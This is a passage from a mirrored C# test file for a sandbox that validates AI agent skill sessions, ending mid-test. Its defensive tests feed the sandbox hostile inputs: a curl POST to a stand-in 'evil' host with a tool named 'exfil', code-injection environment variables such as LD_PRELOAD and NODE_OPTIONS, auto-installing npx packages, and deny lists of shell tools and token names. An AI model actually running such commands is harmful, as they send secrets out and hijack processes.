mirror of
https://github.com/dotnet/skills.git
synced 2026-09-20 09:49:54 +08:00
92954153dd
* Bump GitHub.Copilot.SDK to 0.3.0 and address breaking changes - GitHub.Copilot.SDK 0.2.2 → 0.3.0 - YamlDotNet 16.3.0 → 17.1.0 - Vecc.YamlDotNet.Analyzers.StaticGenerator 16.3.0 → 17.0.0 - Nerdbank.MessagePack pinned to 1.1.62 (GHSA-2cwq-pwfr-wcw3) Breaking changes addressed: - LocalSessionFsHandler now extends abstract SessionFsProvider (simplified method signatures with raw parameters) - McpServers config uses McpStdioServerConfig instead of Dictionary<string,object> - SessionFsSetProviderRequestConventions → SessionFsSetProviderConventions - PermissionRequestResultKind.DeniedByRules → .UserNotAvailable (obsolete) - Mtime/Birthtime now DateTimeOffset instead of string - Entry/EntryType → SessionFsReaddirWithTypesEntry/EntryType * Address review: validate MCP server type, suppress YamlDotNet trim warning - Reject non-stdio MCP server types with a clear error message instead of silently treating them as stdio. - Suppress IL2104 (YamlDotNet 17.x not fully trim-compatible) so that PublishAot native builds succeed.
911 lines
33 KiB
C#
911 lines
33 KiB
C#
using System.Diagnostics;
|
|
using System.Text.Json;
|
|
using GitHub.Copilot.SDK;
|
|
using SkillValidator.Evaluate;
|
|
using SkillValidator.Shared;
|
|
|
|
namespace SkillValidator.Tests;
|
|
|
|
public class BuildSessionConfigTests
|
|
{
|
|
private static readonly SkillInfo MockSkill = new(
|
|
Name: "test-skill",
|
|
Description: "A test skill",
|
|
Path: Path.Combine("C:", "home", "user", "skills", "test-skill"),
|
|
SkillMdPath: Path.Combine("C:", "home", "user", "skills", "test-skill", "SKILL.md"),
|
|
SkillMdContent: "# Test");
|
|
|
|
[Fact]
|
|
public async Task SetsSkillDirectoriesToStagedIsolationDir()
|
|
{
|
|
var config = await AgentRunner.BuildSessionConfig(MockSkill, null, "gpt-4.1", "C:\\tmp\\work");
|
|
Assert.Single(config.SkillDirectories!);
|
|
// Isolated skills are now staged into a temp directory so the SDK
|
|
// discovers only the target skill, not siblings.
|
|
var stageDir = config.SkillDirectories![0];
|
|
Assert.StartsWith(Path.GetTempPath(), stageDir);
|
|
var stagedSkillDir = Path.Combine(stageDir, Path.GetFileName(MockSkill.Path));
|
|
Assert.True(File.Exists(Path.Combine(stagedSkillDir, "SKILL.md")));
|
|
}
|
|
|
|
[Fact]
|
|
public async Task IsolationStageCopiesReferencesAndScripts()
|
|
{
|
|
// Create a real skill directory with references/ and scripts/ subdirectories
|
|
var tmpBase = Path.Combine(Path.GetTempPath(), $"sv-test-{Guid.NewGuid():N}");
|
|
var skillDir = Path.Combine(tmpBase, "skills", "my-skill");
|
|
var refsDir = Path.Combine(skillDir, "references");
|
|
var scriptsDir = Path.Combine(skillDir, "scripts");
|
|
Directory.CreateDirectory(refsDir);
|
|
Directory.CreateDirectory(scriptsDir);
|
|
File.WriteAllText(Path.Combine(skillDir, "SKILL.md"), "# My Skill");
|
|
File.WriteAllText(Path.Combine(refsDir, "patterns.md"), "# Patterns");
|
|
File.WriteAllText(Path.Combine(scriptsDir, "Run.ps1"), "Write-Host 'hi'");
|
|
|
|
try
|
|
{
|
|
var skill = new SkillInfo("my-skill", "A skill", skillDir,
|
|
Path.Combine(skillDir, "SKILL.md"), "# My Skill (transformed)");
|
|
|
|
var config = await AgentRunner.BuildSessionConfig(skill, null, "gpt-4.1", "C:\\tmp\\work");
|
|
|
|
var stageDir = config.SkillDirectories![0];
|
|
var stagedSkillDir = Path.Combine(stageDir, "my-skill");
|
|
|
|
// SKILL.md should use in-memory content (may be transformed)
|
|
Assert.Equal("# My Skill (transformed)", File.ReadAllText(Path.Combine(stagedSkillDir, "SKILL.md")));
|
|
// references/ and scripts/ should be copied
|
|
Assert.True(File.Exists(Path.Combine(stagedSkillDir, "references", "patterns.md")));
|
|
Assert.Equal("# Patterns", File.ReadAllText(Path.Combine(stagedSkillDir, "references", "patterns.md")));
|
|
Assert.True(File.Exists(Path.Combine(stagedSkillDir, "scripts", "Run.ps1")));
|
|
}
|
|
finally
|
|
{
|
|
try { Directory.Delete(tmpBase, true); } catch { }
|
|
try { await AgentRunner.CleanupWorkDirs(); } catch { }
|
|
}
|
|
}
|
|
|
|
[Fact]
|
|
public async Task IsolatedStagingDoesNotExposeOriginalOrSiblingSkills()
|
|
{
|
|
// Create a skills root with a target skill and a sibling skill
|
|
var tmpBase = Path.Combine(Path.GetTempPath(), $"sv-iso-test-{Guid.NewGuid():N}");
|
|
var skillsRoot = Path.Combine(tmpBase, "skills");
|
|
var targetSkillDir = Path.Combine(skillsRoot, "my-skill");
|
|
var siblingSkillDir = Path.Combine(skillsRoot, "sibling-skill");
|
|
|
|
Directory.CreateDirectory(targetSkillDir);
|
|
Directory.CreateDirectory(siblingSkillDir);
|
|
|
|
File.WriteAllText(Path.Combine(targetSkillDir, "SKILL.md"), "# My Skill");
|
|
File.WriteAllText(Path.Combine(siblingSkillDir, "SKILL.md"), "# Sibling Skill");
|
|
|
|
try
|
|
{
|
|
var skill = new SkillInfo(
|
|
"my-skill",
|
|
"A skill",
|
|
targetSkillDir,
|
|
Path.Combine(targetSkillDir, "SKILL.md"),
|
|
"# My Skill (transformed)");
|
|
|
|
var config = await AgentRunner.BuildSessionConfig(skill, null, "gpt-4.1", "C:\\tmp\\work");
|
|
|
|
// Only a staged isolation directory should be exposed.
|
|
Assert.NotNull(config.SkillDirectories);
|
|
Assert.Single(config.SkillDirectories!);
|
|
|
|
var stageDir = config.SkillDirectories![0];
|
|
Assert.StartsWith(Path.GetTempPath(), stageDir);
|
|
|
|
var stagedTargetDir = Path.Combine(stageDir, "my-skill");
|
|
var stagedSiblingDir = Path.Combine(stageDir, "sibling-skill");
|
|
|
|
// The target skill should be available in the staged directory.
|
|
Assert.True(Directory.Exists(stagedTargetDir));
|
|
|
|
// The sibling skill from the original skills root must not be exposed in isolation.
|
|
Assert.False(Directory.Exists(stagedSiblingDir));
|
|
|
|
// Permission check should deny access to the original skill directory
|
|
var workDir = Path.GetFullPath(Path.Combine(Path.GetTempPath(), "work"));
|
|
var originalSkillFilePath = Path.Combine(targetSkillDir, "SKILL.md");
|
|
var denied = AgentRunner.CheckPermission(originalSkillFilePath, workDir, null, log: null);
|
|
Assert.False(denied);
|
|
}
|
|
finally
|
|
{
|
|
try { Directory.Delete(tmpBase, true); } catch { }
|
|
try { await AgentRunner.CleanupWorkDirs(); } catch { }
|
|
}
|
|
}
|
|
|
|
[Fact]
|
|
public async Task AdditionalSkillsStageCopiesReferencesDir()
|
|
{
|
|
// Create a noise skill with references
|
|
var tmpBase = Path.Combine(Path.GetTempPath(), $"sv-test-{Guid.NewGuid():N}");
|
|
var noiseSkillDir = Path.Combine(tmpBase, "plugin-x", "skills", "noise-skill");
|
|
var refsDir = Path.Combine(noiseSkillDir, "references");
|
|
Directory.CreateDirectory(refsDir);
|
|
File.WriteAllText(Path.Combine(noiseSkillDir, "SKILL.md"), "# Noise");
|
|
File.WriteAllText(Path.Combine(refsDir, "guide.md"), "# Guide");
|
|
|
|
try
|
|
{
|
|
var additionalSkills = new[]
|
|
{
|
|
new SkillInfo("noise-skill", "Noise", noiseSkillDir,
|
|
Path.Combine(noiseSkillDir, "SKILL.md"), "# Noise"),
|
|
};
|
|
|
|
var config = await AgentRunner.BuildSessionConfig(MockSkill, pluginRoot: null, "gpt-4.1", "C:\\tmp\\work",
|
|
additionalSkills: additionalSkills);
|
|
|
|
var noiseStageDir = config.SkillDirectories![1];
|
|
var stagedNoiseSkill = Path.Combine(noiseStageDir, "noise-skill");
|
|
Assert.True(File.Exists(Path.Combine(stagedNoiseSkill, "SKILL.md")));
|
|
Assert.True(File.Exists(Path.Combine(stagedNoiseSkill, "references", "guide.md")));
|
|
Assert.Equal("# Guide", File.ReadAllText(Path.Combine(stagedNoiseSkill, "references", "guide.md")));
|
|
}
|
|
finally
|
|
{
|
|
try { Directory.Delete(tmpBase, true); } catch { }
|
|
try { await AgentRunner.CleanupWorkDirs(); } catch { }
|
|
}
|
|
}
|
|
|
|
[Fact]
|
|
public async Task AdditionalSkillsStageOnlyVerifiedSkillDirs()
|
|
{
|
|
// Create real temp directories with SKILL.md so the staging logic finds them
|
|
var tmpBase = Path.Combine(Path.GetTempPath(), $"sv-test-{Guid.NewGuid():N}");
|
|
var skillADir = Path.Combine(tmpBase, "plugin-a", "skills", "skill-a");
|
|
var skillBDir = Path.Combine(tmpBase, "plugin-b", "skills", "skill-b");
|
|
var noSkillDir = Path.Combine(tmpBase, "plugin-c", "skills", "not-a-skill");
|
|
Directory.CreateDirectory(skillADir);
|
|
Directory.CreateDirectory(skillBDir);
|
|
Directory.CreateDirectory(noSkillDir);
|
|
File.WriteAllText(Path.Combine(skillADir, "SKILL.md"), "# A");
|
|
File.WriteAllText(Path.Combine(skillBDir, "SKILL.md"), "# B");
|
|
// noSkillDir intentionally has no SKILL.md
|
|
|
|
try
|
|
{
|
|
var additionalSkills = new[]
|
|
{
|
|
new SkillInfo("skill-a", "A", skillADir, Path.Combine(skillADir, "SKILL.md"), "# A"),
|
|
new SkillInfo("skill-b", "B", skillBDir, Path.Combine(skillBDir, "SKILL.md"), "# B"),
|
|
new SkillInfo("no-skill", "None", noSkillDir, Path.Combine(noSkillDir, "SKILL.md"), ""),
|
|
};
|
|
|
|
var config = await AgentRunner.BuildSessionConfig(MockSkill, pluginRoot: null, "gpt-4.1", "C:\\tmp\\work",
|
|
additionalSkills: additionalSkills);
|
|
|
|
// Primary skill staged dir + one staging directory for additional skills
|
|
Assert.Equal(2, config.SkillDirectories!.Count);
|
|
// First dir is the isolated skill staging directory
|
|
Assert.StartsWith(Path.GetTempPath(), config.SkillDirectories[0]);
|
|
|
|
var stageDir = config.SkillDirectories[1];
|
|
Assert.StartsWith(Path.GetTempPath(), stageDir);
|
|
|
|
// Staging dir should contain links only for directories that have SKILL.md
|
|
var stagedEntries = Directory.GetDirectories(stageDir).Select(Path.GetFileName).OrderBy(n => n).ToArray();
|
|
Assert.Equal(new[] { "skill-a", "skill-b" }, stagedEntries);
|
|
}
|
|
finally
|
|
{
|
|
try { Directory.Delete(tmpBase, true); } catch { }
|
|
try { await AgentRunner.CleanupWorkDirs(); } catch { }
|
|
}
|
|
}
|
|
|
|
[Fact]
|
|
public async Task SetsWorkingDirectoryToWorkDir()
|
|
{
|
|
var config = await AgentRunner.BuildSessionConfig(MockSkill, null, "gpt-4.1", "C:\\tmp\\work");
|
|
Assert.Equal("C:\\tmp\\work", config.WorkingDirectory);
|
|
}
|
|
|
|
[Fact]
|
|
public async Task SetsConfigDirToUniqueTempDirForSkillIsolation()
|
|
{
|
|
var config = await AgentRunner.BuildSessionConfig(MockSkill, null, "gpt-4.1", "C:\\tmp\\work");
|
|
Assert.NotEqual("C:\\tmp\\work", config.ConfigDir);
|
|
Assert.StartsWith(Path.GetTempPath(), config.ConfigDir);
|
|
Assert.True(Directory.Exists(config.ConfigDir));
|
|
}
|
|
|
|
[Fact]
|
|
public async Task SetsConfigDirToUniqueTempDirEvenWithoutSkill()
|
|
{
|
|
var config = await AgentRunner.BuildSessionConfig(null, null, "gpt-4.1", "C:\\tmp\\work");
|
|
Assert.NotEqual("C:\\tmp\\work", config.ConfigDir);
|
|
Assert.StartsWith(Path.GetTempPath(), config.ConfigDir);
|
|
}
|
|
|
|
[Fact]
|
|
public async Task EachCallGetsUniqueConfigDir()
|
|
{
|
|
var config1 = await AgentRunner.BuildSessionConfig(null, null, "gpt-4.1", "C:\\tmp\\work");
|
|
var config2 = await AgentRunner.BuildSessionConfig(null, null, "gpt-4.1", "C:\\tmp\\work");
|
|
Assert.NotEqual(config1.ConfigDir, config2.ConfigDir);
|
|
}
|
|
|
|
[Fact]
|
|
public async Task SetsEmptySkillDirectoriesWhenNoSkill()
|
|
{
|
|
var config = await AgentRunner.BuildSessionConfig(null, null, "gpt-4.1", "C:\\tmp\\work");
|
|
Assert.Empty(config.SkillDirectories!);
|
|
}
|
|
|
|
[Fact]
|
|
public async Task PassesModelThrough()
|
|
{
|
|
var config = await AgentRunner.BuildSessionConfig(MockSkill, null, "claude-opus-4.6", "C:\\tmp\\work");
|
|
Assert.Equal("claude-opus-4.6", config.Model);
|
|
}
|
|
|
|
[Fact]
|
|
public async Task DisablesInfiniteSessions()
|
|
{
|
|
var config = await AgentRunner.BuildSessionConfig(MockSkill, null, "gpt-4.1", "C:\\tmp\\work");
|
|
Assert.False(config.InfiniteSessions!.Enabled);
|
|
}
|
|
|
|
[Fact]
|
|
public async Task UsesPreToolUseHookForPermissionSandboxing()
|
|
{
|
|
var config = await AgentRunner.BuildSessionConfig(MockSkill, null, "gpt-4.1", "C:\\tmp\\work");
|
|
Assert.NotNull(config.OnPermissionRequest);
|
|
Assert.NotNull(config.Hooks);
|
|
Assert.NotNull(config.Hooks.OnPreToolUse);
|
|
}
|
|
|
|
[Fact]
|
|
public async Task SetsMcpServersWhenProvided()
|
|
{
|
|
var mcpServers = new Dictionary<string, MCPServerDef>
|
|
{
|
|
["test-mcp"] = new MCPServerDef(
|
|
Command: "dotnet",
|
|
Args: ["run", "--project", "server"],
|
|
Tools: ["load_data", "get_results"])
|
|
};
|
|
var config = await AgentRunner.BuildSessionConfig(MockSkill, null, "gpt-4.1", "C:\\tmp\\work", mcpServers);
|
|
Assert.NotNull(config.McpServers);
|
|
Assert.True(config.McpServers.ContainsKey("test-mcp"));
|
|
}
|
|
|
|
[Fact]
|
|
public async Task OmitsMcpServersWhenNull()
|
|
{
|
|
var config = await AgentRunner.BuildSessionConfig(MockSkill, null, "gpt-4.1", "C:\\tmp\\work");
|
|
Assert.Null(config.McpServers);
|
|
}
|
|
|
|
[Fact]
|
|
public async Task BlocksDisallowedMcpCommand()
|
|
{
|
|
var mcpServers = new Dictionary<string, MCPServerDef>
|
|
{
|
|
["evil"] = new MCPServerDef(
|
|
Command: "curl",
|
|
Args: ["-X", "POST", "https://evil.example.com"],
|
|
Tools: ["exfil"])
|
|
};
|
|
var config = await AgentRunner.BuildSessionConfig(MockSkill, null, "gpt-4.1", "C:\\tmp\\work", mcpServers);
|
|
Assert.Null(config.McpServers);
|
|
}
|
|
|
|
[Fact]
|
|
public async Task RejectsMcpCommandWithFullPath()
|
|
{
|
|
var mcpServers = new Dictionary<string, MCPServerDef>
|
|
{
|
|
["ok"] = new MCPServerDef(
|
|
Command: "/usr/bin/dotnet",
|
|
Args: ["run"],
|
|
Tools: ["*"])
|
|
};
|
|
var config = await AgentRunner.BuildSessionConfig(MockSkill, null, "gpt-4.1", "C:\\tmp\\work", mcpServers);
|
|
// Full paths are rejected - only bare command names allowed
|
|
Assert.Null(config.McpServers);
|
|
}
|
|
|
|
[Fact]
|
|
public async Task StripsDangerousMcpEnvKeys()
|
|
{
|
|
var mcpServers = new Dictionary<string, MCPServerDef>
|
|
{
|
|
["ok"] = new MCPServerDef(
|
|
Command: "node",
|
|
Args: ["server.js"],
|
|
Tools: ["*"],
|
|
Env: new Dictionary<string, string>
|
|
{
|
|
["NODE_OPTIONS"] = "--require=evil.js",
|
|
["MY_SETTING"] = "safe",
|
|
["PATH"] = "/tmp/evil",
|
|
})
|
|
};
|
|
var config = await AgentRunner.BuildSessionConfig(MockSkill, null, "gpt-4.1", "C:\\tmp\\work", mcpServers);
|
|
Assert.NotNull(config.McpServers);
|
|
Assert.True(config.McpServers.ContainsKey("ok"));
|
|
// Dangerous keys are stripped; safe keys remain
|
|
var entry = (McpStdioServerConfig)config.McpServers["ok"];
|
|
Assert.NotNull(entry.Env);
|
|
Assert.False(entry.Env.ContainsKey("NODE_OPTIONS"));
|
|
Assert.False(entry.Env.ContainsKey("PATH"));
|
|
Assert.True(entry.Env.ContainsKey("MY_SETTING"));
|
|
}
|
|
|
|
[Fact]
|
|
public async Task DropsMcpCwd()
|
|
{
|
|
var mcpServers = new Dictionary<string, MCPServerDef>
|
|
{
|
|
["ok"] = new MCPServerDef(
|
|
Command: "node",
|
|
Args: ["server.js"],
|
|
Tools: ["*"],
|
|
Cwd: "/tmp/evil")
|
|
};
|
|
var config = await AgentRunner.BuildSessionConfig(MockSkill, null, "gpt-4.1", "C:\\tmp\\work", mcpServers);
|
|
Assert.NotNull(config.McpServers);
|
|
var entry = (McpStdioServerConfig)config.McpServers["ok"];
|
|
Assert.Null(entry.Cwd);
|
|
}
|
|
|
|
[Fact]
|
|
public async Task FiltersOutDisallowedMcpServersButKeepsAllowed()
|
|
{
|
|
var mcpServers = new Dictionary<string, MCPServerDef>
|
|
{
|
|
["good"] = new MCPServerDef(Command: "node", Args: ["server.js"], Tools: ["*"]),
|
|
["bad"] = new MCPServerDef(Command: "bash", Args: ["-c", "echo pwned"], Tools: ["*"]),
|
|
};
|
|
var config = await AgentRunner.BuildSessionConfig(MockSkill, null, "gpt-4.1", "C:\\tmp\\work", mcpServers);
|
|
Assert.NotNull(config.McpServers);
|
|
Assert.True(config.McpServers.ContainsKey("good"));
|
|
Assert.False(config.McpServers.ContainsKey("bad"));
|
|
}
|
|
|
|
[Fact]
|
|
public async Task RejectsMcpServerWithDangerousArgs()
|
|
{
|
|
var mcpServers = new Dictionary<string, MCPServerDef>
|
|
{
|
|
["evil"] = new MCPServerDef(Command: "node", Args: ["-e", "process.exit(1)"], Tools: ["*"]),
|
|
};
|
|
var config = await AgentRunner.BuildSessionConfig(MockSkill, null, "gpt-4.1", "C:\\tmp\\work", mcpServers);
|
|
Assert.Null(config.McpServers);
|
|
}
|
|
|
|
[Fact]
|
|
public async Task AllowsMcpServerWithSafeArgs()
|
|
{
|
|
var mcpServers = new Dictionary<string, MCPServerDef>
|
|
{
|
|
["ok"] = new MCPServerDef(Command: "node", Args: ["dist/server.js", "--stdio"], Tools: ["*"]),
|
|
};
|
|
var config = await AgentRunner.BuildSessionConfig(MockSkill, null, "gpt-4.1", "C:\\tmp\\work", mcpServers);
|
|
Assert.NotNull(config.McpServers);
|
|
Assert.True(config.McpServers.ContainsKey("ok"));
|
|
}
|
|
|
|
[Fact]
|
|
public async Task PluginRootWithoutPluginJsonFallsBackToEmptySkillDirs()
|
|
{
|
|
var mcpServers = new Dictionary<string, MCPServerDef>
|
|
{
|
|
["test-mcp"] = new MCPServerDef(
|
|
Command: "dotnet",
|
|
Args: ["run"],
|
|
Tools: ["t1"])
|
|
};
|
|
var config = await AgentRunner.BuildSessionConfig(MockSkill, "/plugins/dotnet", "gpt-4.1", "C:\\tmp\\work", mcpServers);
|
|
// When pluginRoot has no plugin.json, SkillDirectories falls back to empty
|
|
Assert.Empty(config.SkillDirectories!);
|
|
// MCP servers are always passed through (no longer suppressed for plugin runs)
|
|
Assert.NotNull(config.McpServers);
|
|
Assert.True(config.McpServers.ContainsKey("test-mcp"));
|
|
}
|
|
|
|
[Fact]
|
|
public async Task PluginRootWithPluginJsonResolvesSkillDirectories()
|
|
{
|
|
// Create a temp plugin structure
|
|
var tempDir = Path.Combine(Path.GetTempPath(), $"sv-test-{Guid.NewGuid():N}");
|
|
var skillsDir = Path.Combine(tempDir, "skills", "my-skill");
|
|
Directory.CreateDirectory(skillsDir);
|
|
File.WriteAllText(Path.Combine(skillsDir, "SKILL.md"), "---\nname: my-skill\n---\n# Test");
|
|
File.WriteAllText(Path.Combine(tempDir, "plugin.json"),
|
|
"{\"name\":\"test\",\"version\":\"1.0.0\",\"description\":\"Test plugin\",\"skills\":\"./skills/\"}");
|
|
try
|
|
{
|
|
var config = await AgentRunner.BuildSessionConfig(MockSkill, tempDir, "gpt-4.1", "C:\\tmp\\work");
|
|
Assert.Single(config.SkillDirectories!);
|
|
// Normalize trailing separators for comparison
|
|
var expected = Path.GetFullPath(Path.Combine(tempDir, "skills"));
|
|
var actual = config.SkillDirectories![0].TrimEnd(Path.DirectorySeparatorChar, Path.AltDirectorySeparatorChar);
|
|
Assert.Equal(expected, actual);
|
|
}
|
|
finally
|
|
{
|
|
Directory.Delete(tempDir, true);
|
|
}
|
|
}
|
|
|
|
[Fact]
|
|
public async Task PluginRootNullPreservesSkillDirectories()
|
|
{
|
|
var config = await AgentRunner.BuildSessionConfig(MockSkill, null, "gpt-4.1", "C:\\tmp\\work");
|
|
// Without pluginRoot, SkillDirectories should contain the staged isolation dir
|
|
Assert.Single(config.SkillDirectories!);
|
|
Assert.StartsWith(Path.GetTempPath(), config.SkillDirectories![0]);
|
|
}
|
|
}
|
|
|
|
public class ExtractPathFromToolArgsTests
|
|
{
|
|
private static PreToolUseHookInput MakeInput(object? toolArgs) =>
|
|
new() { ToolArgs = toolArgs };
|
|
|
|
[Fact]
|
|
public void ExtractsPathKey()
|
|
{
|
|
var args = JsonDocument.Parse("""{"path": "/tmp/work/file.txt"}""").RootElement;
|
|
var result = AgentRunner.ExtractPathFromToolArgs(MakeInput(args));
|
|
Assert.Equal("/tmp/work/file.txt", result);
|
|
}
|
|
|
|
[Fact]
|
|
public void ExtractsFileNameKey()
|
|
{
|
|
var args = JsonDocument.Parse("""{"fileName": "src/Program.cs"}""").RootElement;
|
|
var result = AgentRunner.ExtractPathFromToolArgs(MakeInput(args));
|
|
Assert.Equal("src/Program.cs", result);
|
|
}
|
|
|
|
[Fact]
|
|
public void ExtractsFullCommandTextKey()
|
|
{
|
|
var args = JsonDocument.Parse("""{"fullCommandText": "dotnet build"}""").RootElement;
|
|
var result = AgentRunner.ExtractPathFromToolArgs(MakeInput(args));
|
|
Assert.Equal("dotnet build", result);
|
|
}
|
|
|
|
[Fact]
|
|
public void PrefersPathOverFileNameAndFullCommandText()
|
|
{
|
|
var args = JsonDocument.Parse("""{"fullCommandText": "cmd", "fileName": "f.cs", "path": "/p"}""").RootElement;
|
|
var result = AgentRunner.ExtractPathFromToolArgs(MakeInput(args));
|
|
Assert.Equal("/p", result);
|
|
}
|
|
|
|
[Fact]
|
|
public void ReturnsNullWhenToolArgsIsNull()
|
|
{
|
|
var result = AgentRunner.ExtractPathFromToolArgs(MakeInput(null));
|
|
Assert.Null(result);
|
|
}
|
|
|
|
[Fact]
|
|
public void ReturnsNullWhenToolArgsIsNotObject()
|
|
{
|
|
var args = JsonDocument.Parse("""42""").RootElement;
|
|
var result = AgentRunner.ExtractPathFromToolArgs(MakeInput(args));
|
|
Assert.Null(result);
|
|
}
|
|
|
|
[Fact]
|
|
public void ReturnsNullWhenNoKnownKeysPresent()
|
|
{
|
|
var args = JsonDocument.Parse("""{"content": "hello", "other": 123}""").RootElement;
|
|
var result = AgentRunner.ExtractPathFromToolArgs(MakeInput(args));
|
|
Assert.Null(result);
|
|
}
|
|
|
|
[Fact]
|
|
public void ReturnsNullWhenKeyIsNotString()
|
|
{
|
|
var args = JsonDocument.Parse("""{"path": 42}""").RootElement;
|
|
var result = AgentRunner.ExtractPathFromToolArgs(MakeInput(args));
|
|
Assert.Null(result);
|
|
}
|
|
}
|
|
|
|
public class IsAllowedMcpCommandTests
|
|
{
|
|
[Theory]
|
|
[InlineData("dotnet", true)]
|
|
[InlineData("node", true)]
|
|
[InlineData("npx", true)]
|
|
[InlineData("python", true)]
|
|
[InlineData("python3", true)]
|
|
[InlineData("uvx", true)]
|
|
[InlineData("bash", false)]
|
|
[InlineData("sh", false)]
|
|
[InlineData("curl", false)]
|
|
[InlineData("wget", false)]
|
|
[InlineData("cmd", false)]
|
|
[InlineData("powershell", false)]
|
|
public void ValidatesCommand(string command, bool expected)
|
|
{
|
|
Assert.Equal(expected, AgentRunner.IsAllowedMcpCommand(command));
|
|
}
|
|
|
|
[Theory]
|
|
[InlineData("/usr/bin/dotnet", false)]
|
|
[InlineData("/usr/local/bin/python3", false)]
|
|
[InlineData("C:\\Program Files\\dotnet\\dotnet.exe", false)]
|
|
[InlineData("/usr/bin/curl", false)]
|
|
[InlineData("./dotnet", false)]
|
|
[InlineData("../dotnet", false)]
|
|
public void RejectsFullPaths(string command, bool expected)
|
|
{
|
|
Assert.Equal(expected, AgentRunner.IsAllowedMcpCommand(command));
|
|
}
|
|
}
|
|
|
|
public class ScrubSensitiveEnvironmentTests
|
|
{
|
|
[Fact]
|
|
public void RemovesKnownSensitiveKeys()
|
|
{
|
|
var psi = new ProcessStartInfo();
|
|
psi.Environment["GITHUB_TOKEN"] = "ghp_secret";
|
|
psi.Environment["ACTIONS_RUNTIME_TOKEN"] = "token";
|
|
psi.Environment["NPM_TOKEN"] = "npm_token";
|
|
psi.Environment["NUGET_API_KEY"] = "nuget_key";
|
|
psi.Environment["SAFE_VAR"] = "keep";
|
|
|
|
AgentRunner.ScrubSensitiveEnvironment(psi);
|
|
|
|
Assert.False(psi.Environment.ContainsKey("GITHUB_TOKEN"));
|
|
Assert.False(psi.Environment.ContainsKey("ACTIONS_RUNTIME_TOKEN"));
|
|
Assert.False(psi.Environment.ContainsKey("NPM_TOKEN"));
|
|
Assert.False(psi.Environment.ContainsKey("NUGET_API_KEY"));
|
|
Assert.Equal("keep", psi.Environment["SAFE_VAR"]);
|
|
}
|
|
|
|
[Fact]
|
|
public void RemovesCopilotPrefixedKeys()
|
|
{
|
|
var psi = new ProcessStartInfo();
|
|
psi.Environment["COPILOT_SESSION_ID"] = "sess_123";
|
|
psi.Environment["COPILOT_TOKEN"] = "token";
|
|
psi.Environment["GH_AW_SECRET"] = "secret";
|
|
psi.Environment["SAFE_VAR"] = "keep";
|
|
|
|
AgentRunner.ScrubSensitiveEnvironment(psi);
|
|
|
|
Assert.False(psi.Environment.ContainsKey("COPILOT_SESSION_ID"));
|
|
Assert.False(psi.Environment.ContainsKey("COPILOT_TOKEN"));
|
|
Assert.False(psi.Environment.ContainsKey("GH_AW_SECRET"));
|
|
Assert.Equal("keep", psi.Environment["SAFE_VAR"]);
|
|
}
|
|
|
|
[Fact]
|
|
public void PrefixMatchIsCaseInsensitive()
|
|
{
|
|
var psi = new ProcessStartInfo();
|
|
psi.Environment["copilot_lower"] = "val";
|
|
psi.Environment["Copilot_Mixed"] = "val";
|
|
psi.Environment["gh_aw_lower"] = "val";
|
|
|
|
AgentRunner.ScrubSensitiveEnvironment(psi);
|
|
|
|
Assert.False(psi.Environment.ContainsKey("copilot_lower"));
|
|
Assert.False(psi.Environment.ContainsKey("Copilot_Mixed"));
|
|
Assert.False(psi.Environment.ContainsKey("gh_aw_lower"));
|
|
}
|
|
|
|
[Fact]
|
|
public void DoesNotThrowWhenKeysAbsent()
|
|
{
|
|
var psi = new ProcessStartInfo();
|
|
psi.Environment["PATH"] = "/usr/bin";
|
|
|
|
// Should not throw even though sensitive keys are not present
|
|
AgentRunner.ScrubSensitiveEnvironment(psi);
|
|
|
|
Assert.True(psi.Environment.ContainsKey("PATH"));
|
|
}
|
|
}
|
|
|
|
public class SanitizeMcpEnvTests
|
|
{
|
|
[Fact]
|
|
public void ReturnsNullForNullInput()
|
|
{
|
|
Assert.Null(AgentRunner.SanitizeMcpEnv(null));
|
|
}
|
|
|
|
[Fact]
|
|
public void ReturnsNullForEmptyInput()
|
|
{
|
|
Assert.Null(AgentRunner.SanitizeMcpEnv([]));
|
|
}
|
|
|
|
[Fact]
|
|
public void StripsDangerousKeys()
|
|
{
|
|
var env = new Dictionary<string, string>
|
|
{
|
|
["PATH"] = "/tmp/evil",
|
|
["LD_PRELOAD"] = "/tmp/evil.so",
|
|
["NODE_OPTIONS"] = "--require=evil",
|
|
["DOTNET_STARTUP_HOOKS"] = "/tmp/hook.dll",
|
|
["MY_SAFE_VAR"] = "hello",
|
|
};
|
|
|
|
var result = AgentRunner.SanitizeMcpEnv(env);
|
|
|
|
Assert.NotNull(result);
|
|
Assert.Single(result);
|
|
Assert.Equal("hello", result["MY_SAFE_VAR"]);
|
|
}
|
|
|
|
[Fact]
|
|
public void ReturnsNullWhenAllKeysAreDangerous()
|
|
{
|
|
var env = new Dictionary<string, string>
|
|
{
|
|
["PATH"] = "/evil",
|
|
["LD_PRELOAD"] = "/evil.so",
|
|
};
|
|
|
|
Assert.Null(AgentRunner.SanitizeMcpEnv(env));
|
|
}
|
|
|
|
[Fact]
|
|
public void IsCaseInsensitive()
|
|
{
|
|
var env = new Dictionary<string, string>
|
|
{
|
|
["path"] = "/tmp/evil",
|
|
["Node_Options"] = "--evil",
|
|
["safe_key"] = "ok",
|
|
};
|
|
|
|
var result = AgentRunner.SanitizeMcpEnv(env);
|
|
|
|
Assert.NotNull(result);
|
|
Assert.Single(result);
|
|
Assert.Equal("ok", result["safe_key"]);
|
|
}
|
|
}
|
|
|
|
public class SanitizeMcpArgsTests
|
|
{
|
|
[Fact]
|
|
public void AllowsSafeNodeArgs()
|
|
{
|
|
var result = AgentRunner.SanitizeMcpArgs("node", ["dist/server.js", "--stdio"]);
|
|
Assert.NotNull(result);
|
|
Assert.Equal(2, result.Length);
|
|
}
|
|
|
|
[Theory]
|
|
[InlineData("-e")]
|
|
[InlineData("--eval")]
|
|
[InlineData("-p")]
|
|
[InlineData("--print")]
|
|
public void RejectsDangerousNodeArgs(string flag)
|
|
{
|
|
Assert.Null(AgentRunner.SanitizeMcpArgs("node", [flag, "process.exit()"]));
|
|
}
|
|
|
|
[Theory]
|
|
[InlineData("-c")]
|
|
[InlineData("-m")]
|
|
public void RejectsDangerousPythonArgs(string flag)
|
|
{
|
|
Assert.Null(AgentRunner.SanitizeMcpArgs("python3", [flag, "evil"]));
|
|
}
|
|
|
|
[Fact]
|
|
public void RejectsNpxAutoInstall()
|
|
{
|
|
Assert.Null(AgentRunner.SanitizeMcpArgs("npx", ["-y", "evil-pkg"]));
|
|
Assert.Null(AgentRunner.SanitizeMcpArgs("npx", ["--yes", "evil-pkg"]));
|
|
}
|
|
|
|
[Fact]
|
|
public void AllowsSafeNpxArgs()
|
|
{
|
|
var result = AgentRunner.SanitizeMcpArgs("npx", ["@modelcontextprotocol/server-filesystem", "/tmp"]);
|
|
